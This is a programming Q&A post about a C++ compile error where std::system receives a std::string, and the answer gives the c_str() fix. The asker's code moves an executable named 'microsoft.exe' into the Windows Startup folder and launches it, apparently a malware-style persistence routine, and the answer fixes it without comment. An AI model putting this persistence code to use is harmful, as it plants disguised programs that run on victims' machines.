how to fix "NO match found for 'system(string) - c++

Question

I get the error E2285 no match found for "system(string)
please help me.
the code is down below
I can't get why it isn't working, for this usuallly works with cout<<
#include <stdio.h> /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>
string GetCurrentWorkingDir( void ) {
char buff[FILENAME_MAX];
GetCurrentDir( buff, FILENAME_MAX );
std::string current_working_dir(buff);
return current_working_dir;
}
int main(){
string dir;
dir = GetCurrentWorkingDir();
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.html");
system("cd\\");
system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.exe");
return 1;
}

std::system takes const char* not std::string, which is obvious from the warnings.
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")
Here, the result of the sum is std::string. Collect the argument into one single std::string, then use std::string::c_str method to call std::system.
auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());
Besides that, you have many errors, like you did not include <string> header, you return 1 from main instead of 0. You use using namespace std;, you use C versions of the standard headers (<stdio.h> instead of <cstdio>), you never included <cstdlib> which defines std::system and so on.
